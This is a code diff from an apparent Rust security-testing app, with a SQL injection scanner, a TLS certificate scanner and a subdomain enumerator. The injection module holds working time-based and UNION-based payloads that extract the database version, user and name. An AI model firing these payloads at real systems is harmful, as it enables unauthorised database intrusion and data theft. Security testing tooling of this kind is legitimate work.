("MSSQL", "; WAITFOR DELAY '0:0:5'", 5),
|
||||
("Oracle", "AND DBMS_PIPE.RECEIVE_MESSAGE('x',5) IS NOT NULL", 5),
|
||||
("SQLite", "AND 1=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2))))", 5),
|
||||
];
|
||||
for (prefix, _suffix) in boundaries(level).iter() {
|
||||
for (db, payload, sec) in cases.iter() {
|
||||
let full = apply_tamper(&format!("{}{} {}-- -", point.base_value, prefix, payload), tamper);
|
||||
if let Some((_, _, elapsed)) = send(client, target, point, &full).await {
|
||||
let threshold_ms = (sec * 1000 - 500) as u128;
|
||||
if elapsed >= threshold_ms {
|
||||
return Some((
|
||||
prefix.to_string(),
|
||||
"-- -".to_string(),
|
||||
payload.to_string(),
|
||||
format!("response delayed {}ms (payload sleeps {}s)", elapsed, sec),
|
||||
db,
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
async fn test_union_based(
|
||||
client: &reqwest::Client, target: &Target, point: &InjectionPoint, level: u8, tamper: &[String],
|
||||
) -> Option<(String, String, String, String, Option<&'static str>, HashMap<String, String>)> {
|
||||
let marker = format!("xpl{:04}mrk", rand::random::<u16>());
|
||||
// Step 1: find column count via ORDER BY
|
||||
let mut cols: usize = 0;
|
||||
for (prefix, _suffix) in boundaries(level).iter() {
|
||||
let mut last_ok: usize = 0;
|
||||
for n in 1..=20 {
|
||||
let full = apply_tamper(&format!("{}{} ORDER BY {}-- -", point.base_value, prefix, n), tamper);
|
||||
if let Some((body, _, _)) = send(client, target, point, &full).await {
|
||||
let err = detect_dbms(&body).is_some()
|
||||
|| body.to_lowercase().contains("unknown column")
|
||||
|| body.to_lowercase().contains("order by");
|
||||
if err { break; } else { last_ok = n; }
|
||||
} else { break; }
|
||||
}
|
||||
if last_ok > 0 {
|
||||
cols = last_ok;
|
||||
// Step 2: craft UNION SELECT with NULLs, replace one at a time with marker
|
||||
for position in 1..=cols {
|
||||
let mut fields: Vec<String> = (1..=cols).map(|i| if i == position {
|
||||
format!("'{}'", marker)
|
||||
} else { "NULL".to_string() }).collect();
|
||||
let full = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
||||
point.base_value, prefix, fields.join(",")), tamper);
|
||||
if let Some((body, _, _)) = send(client, target, point, &full).await {
|
||||
if body.contains(&marker) {
|
||||
// injectable column found — try extracting data
|
||||
let mut extracted: HashMap<String, String> = HashMap::new();
|
||||
let probes = [
|
||||
("version", "version()"),
|
||||
("user", "current_user()"),
|
||||
("db", "database()"),
|
||||
];
|
||||
for (name, expr) in probes {
|
||||
fields[position - 1] = format!("CONCAT('{m}_',{e},'_{m}')", m=marker, e=expr);
|
||||
let ep = apply_tamper(&format!("{}{} UNION SELECT {}-- -",
|
||||
point.base_value, prefix, fields.join(",")), tamper);
|
||||
if let Some((b, _, _)) = send(client, target, point, &ep).await {
|
||||
let re = Regex::new(&format!("{}_([^_]+)_{}", marker, marker)).unwrap();
|
||||
if let Some(c) = re.captures(&b).and_then(|c| c.get(1)) {
|
||||
extracted.insert(name.into(), c.as_str().to_string());
|
||||
}
|
||||
}
|
||||
fields[position - 1] = format!("'{}'", marker);
|
||||
}
|
||||
let dbms: Option<&'static str> = extracted.get("version").and_then(|v| {
|
||||
let lo = v.to_lowercase();
|
||||
if lo.contains("mariadb") || lo.contains("mysql") { Some("MySQL") }
|
||||
else if lo.contains("postgresql") { Some("PostgreSQL") }
|
||||
else if lo.contains("microsoft sql") { Some("MSSQL") }
|
||||
else { None }
|
||||
});
|
||||
return Some((
|
||||
prefix.to_string(),
|
||||
"-- -".to_string(),
|
||||
format!("UNION SELECT {}", fields.join(",")),
|
||||
format!("union injection at column {position}/{cols}, marker reflected"),
|
||||
dbms,
|
||||
extracted,
|
||||
));
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
let _ = cols;
|
||||
None
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// Orchestrator
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn sqli_scan(app: AppHandle, req: SqliRequest) -> Result<Vec<SqliFinding>, String> {
|
||||
let url = Url::parse(&req.url).map_err(|e| e.to_string())?;
|
||||
|
||||
let body_is_json = req.headers.iter().any(|(k, v)|
|
||||
k.eq_ignore_ascii_case("content-type") && v.to_lowercase().contains("json"));
|
||||
|
||||
let target = Target {
|
||||
url,
|
||||
method: req.method.clone(),
|
||||
body: req.body.clone(),
|
||||
body_is_json,
|
||||
headers: req.headers.clone(),
|
||||
cookies: req.cookies.clone(),
|
||||
};
|
||||
|
||||
let client = reqwest::Client::builder()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.timeout(Duration::from_millis(req.timeout_ms))
|
||||
.redirect(if req.follow_redirects {
|
||||
reqwest::redirect::Policy::limited(5)
|
||||
} else { reqwest::redirect::Policy::none() })
|
||||
.cookie_store(false)
|
||||
.user_agent("Mozilla/5.0 (PocketPentester-SQLi)")
|
||||
.build()
|
||||
.map_err(|e| e.to_string())?;
|
||||
|
||||
let points = find_injection_points(&req, &target);
|
||||
if points.is_empty() {
|
||||
return Err("no injection points detected — supply params, use * marker, or pass params filter".into());
|
||||
}
|
||||
|
||||
let _ = app.emit("sqli:status", format!("{} injection point(s) to test", points.len()));
|
||||
|
||||
// baseline with original values
|
||||
let first = points.first().unwrap();
|
||||
let baseline = send(&client, &target, first, &first.base_value).await
|
||||
.map(|(b, _, _)| b).unwrap_or_default();
|
||||
|
||||
let _sem = Arc::new(Semaphore::new(req.concurrency.max(1)));
|
||||
let mut findings: Vec<SqliFinding> = Vec::new();
|
||||
|
||||
for point in &points {
|
||||
let _ = app.emit("sqli:status",
|
||||
format!("→ testing {} [{}] (base={})", point.location, point.name,
|
||||
if point.base_value.len() > 30 { format!("{}...", &point.base_value[..30]) } else { point.base_value.clone() }));
|
||||
|
||||
let mut dbms_hint: Option<&'static str> = None;
|
||||
|
||||
// heuristic
|
||||
if req.techniques.iter().any(|t| t == "heuristic") {
|
||||
let (flag, db) = heuristic_probe(&client, &target, point).await;
|
||||
if flag {
|
||||
dbms_hint = db;
|
||||
let _ = app.emit("sqli:status", format!(" heuristic positive{}", db.map(|d| format!(" ({d})")).unwrap_or_default()));
|
||||
} else {
|
||||
let _ = app.emit("sqli:status", " heuristic negative, continuing anyway");
|
||||
}
|
||||
}
|
||||
|
||||
// error-based
|
||||
if req.techniques.iter().any(|t| t == "error") {
|
||||
if let Some((pre, suf, payload, evidence, db)) =
|
||||
test_error_based(&client, &target, point, req.level, &req.tamper).await
|
||||
{
|
||||
let f = SqliFinding {
|
||||
param: point.name.clone(), location: point.location.clone(),
|
||||
technique: "error-based".into(),
|
||||
dbms: Some(db.to_string()),
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{}{} {}", point.base_value, pre, payload, suf),
|
||||
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
if req.stop_on_first { return Ok(findings); }
|
||||
}
|
||||
}
|
||||
|
||||
// boolean-based
|
||||
if req.techniques.iter().any(|t| t == "boolean") {
|
||||
if let Some((pre, suf, payload, evidence)) =
|
||||
test_boolean_blind(&client, &target, point, &baseline, req.level, &req.tamper).await
|
||||
{
|
||||
let f = SqliFinding {
|
||||
param: point.name.clone(), location: point.location.clone(),
|
||||
technique: "boolean-blind".into(),
|
||||
dbms: dbms_hint.map(|s| s.to_string()),
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{} AND 1=1{}", point.base_value, pre, suf),
|
||||
evidence, confidence: "MEDIUM".into(), extracted: HashMap::new(),
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
if req.stop_on_first { return Ok(findings); }
|
||||
}
|
||||
}
|
||||
|
||||
// union-based
|
||||
if req.techniques.iter().any(|t| t == "union") {
|
||||
if let Some((pre, suf, payload, evidence, db, extracted)) =
|
||||
test_union_based(&client, &target, point, req.level, &req.tamper).await
|
||||
{
|
||||
let f = SqliFinding {
|
||||
param: point.name.clone(), location: point.location.clone(),
|
||||
technique: "union-based".into(),
|
||||
dbms: db.map(|s| s.to_string()).or(dbms_hint.map(|s| s.to_string())),
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{} {} {}", point.base_value, pre, payload, suf),
|
||||
evidence, confidence: "HIGH".into(), extracted,
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
if req.stop_on_first { return Ok(findings); }
|
||||
}
|
||||
}
|
||||
|
||||
// time-based (expensive, last)
|
||||
if req.techniques.iter().any(|t| t == "time") && req.risk >= 1 {
|
||||
if let Some((pre, suf, payload, evidence, db)) =
|
||||
test_time_based(&client, &target, point, req.level, &req.tamper).await
|
||||
{
|
||||
let f = SqliFinding {
|
||||
param: point.name.clone(), location: point.location.clone(),
|
||||
technique: "time-blind".into(),
|
||||
dbms: Some(db.to_string()),
|
||||
prefix: pre.clone(), suffix: suf.clone(), payload: payload.clone(),
|
||||
full_payload: format!("{}{} {}{}", point.base_value, pre, payload, suf),
|
||||
evidence, confidence: "HIGH".into(), extracted: HashMap::new(),
|
||||
};
|
||||
let _ = app.emit("sqli:hit", f.clone());
|
||||
findings.push(f);
|
||||
if req.stop_on_first { return Ok(findings); }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let _ = app.emit("sqli:done", findings.len());
|
||||
Ok(findings)
|
||||
}
|
||||
276
src-tauri/src/modules/ssl_scan.rs
Normal file
@@ -0,0 +1,276 @@
|
||||
// ===================================================================
|
||||
// SSL/TLS Scanner — cert chain inspection + negotiation test.
|
||||
//
|
||||
// Uses rustls with a capturing verifier to extract peer cert chain
|
||||
// even when the cert is invalid/expired/self-signed. Parses cert via
|
||||
// x509-parser for SAN / issuer / validity extraction.
|
||||
// ===================================================================
|
||||
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::{Duration, SystemTime, UNIX_EPOCH};
|
||||
|
||||
use rustls_pki_types::{CertificateDer, ServerName};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use sha2::{Digest, Sha256};
|
||||
use tokio::net::TcpStream;
|
||||
use tokio::time::timeout;
|
||||
use tokio_rustls::TlsConnector;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct SslScanRequest {
|
||||
pub host: String,
|
||||
#[serde(default = "default_port")]
|
||||
pub port: u16,
|
||||
#[serde(default = "default_timeout")]
|
||||
pub timeout_ms: u64,
|
||||
}
|
||||
|
||||
fn default_port() -> u16 { 443 }
|
||||
fn default_timeout() -> u64 { 8000 }
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SslCertInfo {
|
||||
pub subject: String,
|
||||
pub issuer: String,
|
||||
pub serial: String,
|
||||
pub not_before: String,
|
||||
pub not_after: String,
|
||||
pub days_remaining: i64,
|
||||
pub sans: Vec<String>,
|
||||
pub key_algo: String,
|
||||
pub signature_algo: String,
|
||||
pub sha256_fingerprint: String,
|
||||
pub is_ca: bool,
|
||||
pub self_signed: bool,
|
||||
pub expired: bool,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SslScanReport {
|
||||
pub host: String,
|
||||
pub port: u16,
|
||||
pub tls_version: String,
|
||||
pub cipher_suite: Option<String>,
|
||||
pub sni_presented: String,
|
||||
pub cert_chain: Vec<SslCertInfo>,
|
||||
pub chain_valid: bool,
|
||||
pub issues: Vec<String>,
|
||||
pub alpn: Option<String>,
|
||||
}
|
||||
|
||||
// ---- capturing verifier: accept everything, remember the cert chain ----
|
||||
|
||||
#[derive(Debug)]
|
||||
struct CaptureVerifier {
|
||||
captured: Arc<std::sync::Mutex<Vec<Vec<u8>>>>,
|
||||
}
|
||||
|
||||
impl rustls::client::danger::ServerCertVerifier for CaptureVerifier {
|
||||
fn verify_server_cert(
|
||||
&self,
|
||||
end_entity: &CertificateDer<'_>,
|
||||
intermediates: &[CertificateDer<'_>],
|
||||
_server_name: &ServerName<'_>,
|
||||
_ocsp_response: &[u8],
|
||||
_now: rustls_pki_types::UnixTime,
|
||||
) -> Result<rustls::client::danger::ServerCertVerified, rustls::Error> {
|
||||
let mut guard = self.captured.lock().unwrap();
|
||||
guard.push(end_entity.as_ref().to_vec());
|
||||
for it in intermediates { guard.push(it.as_ref().to_vec()); }
|
||||
Ok(rustls::client::danger::ServerCertVerified::assertion())
|
||||
}
|
||||
fn verify_tls12_signature(
|
||||
&self, _message: &[u8], _cert: &CertificateDer<'_>, _dss: &rustls::DigitallySignedStruct,
|
||||
) -> Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
|
||||
Ok(rustls::client::danger::HandshakeSignatureValid::assertion())
|
||||
}
|
||||
fn verify_tls13_signature(
|
||||
&self, _message: &[u8], _cert: &CertificateDer<'_>, _dss: &rustls::DigitallySignedStruct,
|
||||
) -> Result<rustls::client::danger::HandshakeSignatureValid, rustls::Error> {
|
||||
Ok(rustls::client::danger::HandshakeSignatureValid::assertion())
|
||||
}
|
||||
fn supported_verify_schemes(&self) -> Vec<rustls::SignatureScheme> {
|
||||
vec![
|
||||
rustls::SignatureScheme::RSA_PKCS1_SHA256,
|
||||
rustls::SignatureScheme::RSA_PKCS1_SHA384,
|
||||
rustls::SignatureScheme::RSA_PKCS1_SHA512,
|
||||
rustls::SignatureScheme::ECDSA_NISTP256_SHA256,
|
||||
rustls::SignatureScheme::ECDSA_NISTP384_SHA384,
|
||||
rustls::SignatureScheme::ECDSA_NISTP521_SHA512,
|
||||
rustls::SignatureScheme::RSA_PSS_SHA256,
|
||||
rustls::SignatureScheme::RSA_PSS_SHA384,
|
||||
rustls::SignatureScheme::RSA_PSS_SHA512,
|
||||
rustls::SignatureScheme::ED25519,
|
||||
]
|
||||
}
|
||||
}
|
||||
|
||||
fn parse_cert(der: &[u8]) -> Result<SslCertInfo, String> {
|
||||
use x509_parser::prelude::*;
|
||||
let (_, cert) = X509Certificate::from_der(der).map_err(|e| e.to_string())?;
|
||||
|
||||
let subject = cert.subject().to_string();
|
||||
let issuer = cert.issuer().to_string();
|
||||
let serial = format!("{:x}", cert.serial);
|
||||
let not_before = cert.validity.not_before.to_rfc2822().unwrap_or_default();
|
||||
let not_after = cert.validity.not_after.to_rfc2822().unwrap_or_default();
|
||||
|
||||
let now = SystemTime::now().duration_since(UNIX_EPOCH).unwrap().as_secs() as i64;
|
||||
let nb = cert.validity.not_after.timestamp();
|
||||
let days_remaining = (nb - now) / 86400;
|
||||
let expired = nb < now;
|
||||
|
||||
let mut sans: Vec<String> = Vec::new();
|
||||
for ext in cert.extensions() {
|
||||
if let ParsedExtension::SubjectAlternativeName(san) = ext.parsed_extension() {
|
||||
for n in &san.general_names {
|
||||
sans.push(format!("{n}"));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let key_algo = cert.public_key().algorithm.algorithm.to_id_string();
|
||||
let signature_algo = cert.signature_algorithm.algorithm.to_id_string();
|
||||
|
||||
let self_signed = subject == issuer;
|
||||
|
||||
let is_ca = cert.extensions().iter().any(|e| {
|
||||
matches!(e.parsed_extension(), ParsedExtension::BasicConstraints(bc) if bc.ca)
|
||||
});
|
||||
|
||||
let mut h = Sha256::new();
|
||||
h.update(der);
|
||||
let fp = h.finalize();
|
||||
let sha256_fingerprint = fp.iter().map(|b| format!("{:02X}", b)).collect::<Vec<_>>().join(":");
|
||||
|
||||
Ok(SslCertInfo {
|
||||
subject, issuer, serial, not_before, not_after, days_remaining,
|
||||
sans, key_algo: map_key_algo(&key_algo), signature_algo: map_sig_algo(&signature_algo),
|
||||
sha256_fingerprint, is_ca, self_signed, expired,
|
||||
})
|
||||
}
|
||||
|
||||
fn map_key_algo(oid: &str) -> String {
|
||||
match oid {
|
||||
"1.2.840.113549.1.1.1" => "RSA".into(),
|
||||
"1.2.840.10045.2.1" => "ECDSA".into(),
|
||||
"1.3.101.112" => "Ed25519".into(),
|
||||
other => other.into(),
|
||||
}
|
||||
}
|
||||
fn map_sig_algo(oid: &str) -> String {
|
||||
match oid {
|
||||
"1.2.840.113549.1.1.11" => "SHA256-RSA".into(),
|
||||
"1.2.840.113549.1.1.12" => "SHA384-RSA".into(),
|
||||
"1.2.840.113549.1.1.13" => "SHA512-RSA".into(),
|
||||
"1.2.840.113549.1.1.5" => "SHA1-RSA (WEAK)".into(),
|
||||
"1.2.840.113549.1.1.4" => "MD5-RSA (BROKEN)".into(),
|
||||
"1.2.840.10045.4.3.2" => "ECDSA-SHA256".into(),
|
||||
"1.2.840.10045.4.3.3" => "ECDSA-SHA384".into(),
|
||||
"1.2.840.10045.4.3.4" => "ECDSA-SHA512".into(),
|
||||
"1.3.101.112" => "Ed25519".into(),
|
||||
other => other.into(),
|
||||
}
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn ssl_scan(req: SslScanRequest) -> Result<SslScanReport, String> {
|
||||
let addr_str = format!("{}:{}", req.host, req.port);
|
||||
let addr: SocketAddr = tokio::net::lookup_host(&addr_str).await
|
||||
.map_err(|e| format!("dns: {e}"))?
|
||||
.next()
|
||||
.ok_or_else(|| "no address resolved".to_string())?;
|
||||
|
||||
let captured = Arc::new(std::sync::Mutex::new(Vec::new()));
|
||||
let verifier = Arc::new(CaptureVerifier { captured: captured.clone() });
|
||||
|
||||
// install default crypto provider (ring) for this thread — idempotent
|
||||
let _ = rustls::crypto::ring::default_provider().install_default();
|
||||
|
||||
let config = rustls::ClientConfig::builder()
|
||||
.dangerous()
|
||||
.with_custom_certificate_verifier(verifier)
|
||||
.with_no_client_auth();
|
||||
let mut config = config;
|
||||
config.alpn_protocols = vec![b"h2".to_vec(), b"http/1.1".to_vec()];
|
||||
|
||||
let connector = TlsConnector::from(Arc::new(config));
|
||||
|
||||
let tcp = timeout(Duration::from_millis(req.timeout_ms), TcpStream::connect(addr)).await
|
||||
.map_err(|_| "tcp connect timeout".to_string())?
|
||||
.map_err(|e| format!("tcp: {e}"))?;
|
||||
|
||||
let server_name: ServerName<'static> = ServerName::try_from(req.host.clone())
|
||||
.map_err(|e| format!("invalid server name: {e}"))?;
|
||||
|
||||
let tls = timeout(Duration::from_millis(req.timeout_ms), connector.connect(server_name, tcp)).await
|
||||
.map_err(|_| "tls handshake timeout".to_string())?
|
||||
.map_err(|e| format!("tls handshake: {e}"))?;
|
||||
|
||||
let (_, conn) = tls.get_ref();
|
||||
let version = match conn.protocol_version() {
|
||||
Some(rustls::ProtocolVersion::TLSv1_3) => "TLS 1.3".into(),
|
||||
Some(rustls::ProtocolVersion::TLSv1_2) => "TLS 1.2".into(),
|
||||
Some(v) => format!("{v:?} (WEAK/LEGACY)"),
|
||||
None => "unknown".into(),
|
||||
};
|
||||
let cipher_suite = conn.negotiated_cipher_suite().map(|cs| format!("{:?}", cs.suite()));
|
||||
let alpn = conn.alpn_protocol().map(|a| String::from_utf8_lossy(a).to_string());
|
||||
|
||||
drop(tls);
|
||||
|
||||
let certs = captured.lock().unwrap().clone();
|
||||
if certs.is_empty() {
|
||||
return Err("no certs captured".into());
|
||||
}
|
||||
|
||||
let mut chain: Vec<SslCertInfo> = Vec::new();
|
||||
let mut issues: Vec<String> = Vec::new();
|
||||
for (i, der) in certs.iter().enumerate() {
|
||||
match parse_cert(der) {
|
||||
Ok(info) => {
|
||||
if info.expired && i == 0 { issues.push("leaf certificate is EXPIRED".into()); }
|
||||
if info.days_remaining < 14 && !info.expired && i == 0 {
|
||||
issues.push(format!("leaf cert expires in {} days", info.days_remaining));
|
||||
}
|
||||
if info.self_signed && i == 0 && chain.is_empty() {
|
||||
issues.push("leaf is self-signed".into());
|
||||
}
|
||||
if info.signature_algo.contains("WEAK") || info.signature_algo.contains("BROKEN") {
|
||||
issues.push(format!("weak signature algorithm: {}", info.signature_algo));
|
||||
}
|
||||
chain.push(info);
|
||||
}
|
||||
Err(e) => issues.push(format!("cert[{i}] parse error: {e}")),
|
||||
}
|
||||
}
|
||||
|
||||
if version.contains("LEGACY") || version.contains("1.0") || version.contains("1.1") {
|
||||
issues.push(format!("weak TLS version negotiated: {version}"));
|
||||
}
|
||||
|
||||
// SAN must include hostname
|
||||
if let Some(leaf) = chain.first() {
|
||||
let host_lc = req.host.to_lowercase();
|
||||
let match_ok = leaf.sans.iter().any(|s| {
|
||||
let s_lc = s.to_lowercase();
|
||||
s_lc.contains(&host_lc) || s_lc.starts_with("dns:*.") && host_lc.ends_with(&s_lc.trim_start_matches("dns:*").to_string())
|
||||
});
|
||||
if !match_ok && !leaf.sans.is_empty() {
|
||||
issues.push(format!("hostname {} not in SANs", req.host));
|
||||
}
|
||||
}
|
||||
|
||||
Ok(SslScanReport {
|
||||
host: req.host.clone(),
|
||||
port: req.port,
|
||||
tls_version: version,
|
||||
cipher_suite,
|
||||
sni_presented: req.host,
|
||||
cert_chain: chain,
|
||||
chain_valid: issues.is_empty(),
|
||||
issues,
|
||||
alpn,
|
||||
})
|
||||
}
|
||||
504
src-tauri/src/modules/subdomain.rs
Normal file
@@ -0,0 +1,504 @@
|
||||
// ===================================================================
|
||||
// Subdomain enumeration — subfinder-style multi-source aggregator.
|
||||
//
|
||||
// Sources (default-on, no API key needed):
|
||||
// - crt.sh — certificate transparency
|
||||
// - certspotter — certificate transparency (parallel)
|
||||
// - hackertarget — passive DNS (rate-limited 50/day per IP)
|
||||
// - alienvault OTX — passive DNS
|
||||
// - anubis-db — community subdomain DB
|
||||
// - rapiddns — HTML scrape
|
||||
// - wayback (web.archive.org)— historical URLs → extract hosts
|
||||
// - urlscan — domain search
|
||||
// - threatcrowd — passive DNS
|
||||
//
|
||||
// Key-based sources (opt-in, user supplies API key):
|
||||
// - c99.nl — fast commercial source
|
||||
// - virustotal — domain relations
|
||||
// - securitytrails — premium passive
|
||||
// - chaos (projectdiscovery)— curated dataset
|
||||
// - shodan — host search
|
||||
// - binaryedge — passive DNS
|
||||
// - fullhunt — attack-surface DB
|
||||
// ===================================================================
|
||||
|
||||
use std::collections::{HashMap, HashSet};
|
||||
use std::sync::Arc;
|
||||
use std::time::Duration;
|
||||
|
||||
use futures::stream::{self, StreamExt};
|
||||
use hickory_resolver::config::{ResolverConfig, ResolverOpts};
|
||||
use hickory_resolver::TokioAsyncResolver;
|
||||
use regex::Regex;
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tauri::{AppHandle, Emitter};
|
||||
use tokio::sync::Semaphore;
|
||||
|
||||
#[derive(Debug, Clone, Deserialize)]
|
||||
pub struct SubdomainRequest {
|
||||
pub domain: String,
|
||||
/// Source names to enable. If None/empty, all default-on sources run.
|
||||
/// Available: crtsh, certspotter, hackertarget, alienvault, anubis,
|
||||
/// rapiddns, wayback, urlscan, threatcrowd, c99, virustotal,
|
||||
/// securitytrails, chaos, shodan, binaryedge, fullhunt.
|
||||
#[serde(default)]
|
||||
pub sources: Option<Vec<String>>,
|
||||
|
||||
/// Optional brute-force wordlist (in addition to passive).
|
||||
#[serde(default)]
|
||||
pub wordlist: Option<Vec<String>>,
|
||||
|
||||
pub concurrency: usize,
|
||||
|
||||
/// API keys for key-based sources. Map of source-name → key.
|
||||
#[serde(default)]
|
||||
pub api_keys: Option<HashMap<String, String>>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SubdomainHit {
|
||||
pub host: String,
|
||||
pub source: String,
|
||||
pub ips: Vec<String>,
|
||||
}
|
||||
|
||||
#[derive(Debug, Clone, Serialize)]
|
||||
pub struct SourceStat {
|
||||
pub source: String,
|
||||
pub count: usize,
|
||||
pub error: Option<String>,
|
||||
pub took_ms: u128,
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// HTTP client
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
fn build_client() -> reqwest::Client {
|
||||
reqwest::Client::builder()
|
||||
.timeout(Duration::from_secs(25))
|
||||
.user_agent("Mozilla/5.0 (PocketPentester/0.1)")
|
||||
.build()
|
||||
.unwrap_or_else(|_| reqwest::Client::new())
|
||||
}
|
||||
|
||||
fn norm_host(s: &str, root: &str) -> Option<String> {
|
||||
let h = s.trim()
|
||||
.trim_start_matches("*.")
|
||||
.trim_start_matches('.')
|
||||
.to_lowercase();
|
||||
let h = h.split_whitespace().next()?.to_string();
|
||||
if h.is_empty() { return None; }
|
||||
if !h.ends_with(root) { return None; }
|
||||
if h.contains('@') { return None; }
|
||||
if h.starts_with("xn--") && h.len() < 6 { return None; }
|
||||
Some(h)
|
||||
}
|
||||
|
||||
// ------------------------------------------------------------------
|
||||
// passive sources (no key)
|
||||
// ------------------------------------------------------------------
|
||||
|
||||
async fn fetch_json(client: &reqwest::Client, url: &str) -> anyhow::Result<serde_json::Value> {
|
||||
fetch_json_with_headers(client, url, &[]).await
|
||||
}
|
||||
|
||||
async fn fetch_json_with_headers(
|
||||
client: &reqwest::Client,
|
||||
url: &str,
|
||||
headers: &[(&str, &str)],
|
||||
) -> anyhow::Result<serde_json::Value> {
|
||||
let mut req = client.get(url);
|
||||
for (k, v) in headers { req = req.header(*k, *v); }
|
||||
let resp = req.send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
if !status.is_success() {
|
||||
anyhow::bail!("HTTP {} (body: {})", status, body.chars().take(120).collect::<String>());
|
||||
}
|
||||
if body.trim().is_empty() {
|
||||
anyhow::bail!("empty response");
|
||||
}
|
||||
serde_json::from_str(&body).map_err(|e| anyhow::anyhow!("json parse: {e}"))
|
||||
}
|
||||
|
||||
fn values_from_array<'a>(v: &'a serde_json::Value, key: &str) -> &'a [serde_json::Value] {
|
||||
v.get(key).and_then(|x| x.as_array()).map(|a| a.as_slice()).unwrap_or(&[])
|
||||
}
|
||||
|
||||
async fn src_crtsh(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://crt.sh/?q=%25.{}&output=json", domain);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
|
||||
let mut set = HashSet::new();
|
||||
for r in arr {
|
||||
if let Some(nv) = r.get("name_value").and_then(|v| v.as_str()) {
|
||||
for line in nv.split('\n') {
|
||||
if let Some(h) = norm_host(line, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_certspotter(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://api.certspotter.com/v1/issuances?domain={}&include_subdomains=true&expand=dns_names", domain);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
|
||||
let mut set = HashSet::new();
|
||||
for r in arr {
|
||||
for n in values_from_array(r, "dns_names") {
|
||||
if let Some(s) = n.as_str() {
|
||||
if let Some(h) = norm_host(s, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_hackertarget(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://api.hackertarget.com/hostsearch/?q={}", domain);
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let body = resp.text().await?;
|
||||
if !status.is_success() { anyhow::bail!("HTTP {status}"); }
|
||||
if body.contains("API count exceeded") || body.contains("error check your search parameter") {
|
||||
anyhow::bail!("rate limited");
|
||||
}
|
||||
let mut set = HashSet::new();
|
||||
for line in body.lines() {
|
||||
if let Some((host, _)) = line.split_once(',') {
|
||||
if let Some(h) = norm_host(host, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_alienvault(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://otx.alienvault.com/api/v1/indicators/domain/{}/passive_dns", domain);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let mut set = HashSet::new();
|
||||
for entry in values_from_array(&val, "passive_dns") {
|
||||
if let Some(host) = entry.get("hostname").and_then(|v| v.as_str()) {
|
||||
if let Some(h) = norm_host(host, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_anubis(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://jonlu.ca/anubis/subdomains/{}", domain);
|
||||
let val = fetch_json(client, &url).await?;
|
||||
let arr = val.as_array().map(|a| a.as_slice()).unwrap_or(&[]);
|
||||
let mut set = HashSet::new();
|
||||
for s in arr {
|
||||
if let Some(host) = s.as_str() {
|
||||
if let Some(h) = norm_host(host, domain) { set.insert(h); }
|
||||
}
|
||||
}
|
||||
Ok(set)
|
||||
}
|
||||
|
||||
async fn src_rapiddns(client: &reqwest::Client, domain: &str) -> anyhow::Result<HashSet<String>> {
|
||||
let url = format!("https://rapiddns.io/subdomain/{}?full=1", domain);
|
||||
let resp = client.get(&url).send().await?;
|
||||
let status = resp.status();
|
||||
let html = resp.text().await?;
|
||||
if !status.is_success() { anyhow::bail!("HTTP {status}"); }
|
||||
let re = Regex::new(r#"<td>([a-zA-Z0-9_.\-]+\.[a-zA-Z]{2,})</td>"#)?;
|
||||
let mut set = HashSet::new();
|
||||
for cap in re.captures_iter(&html) {
|
||||
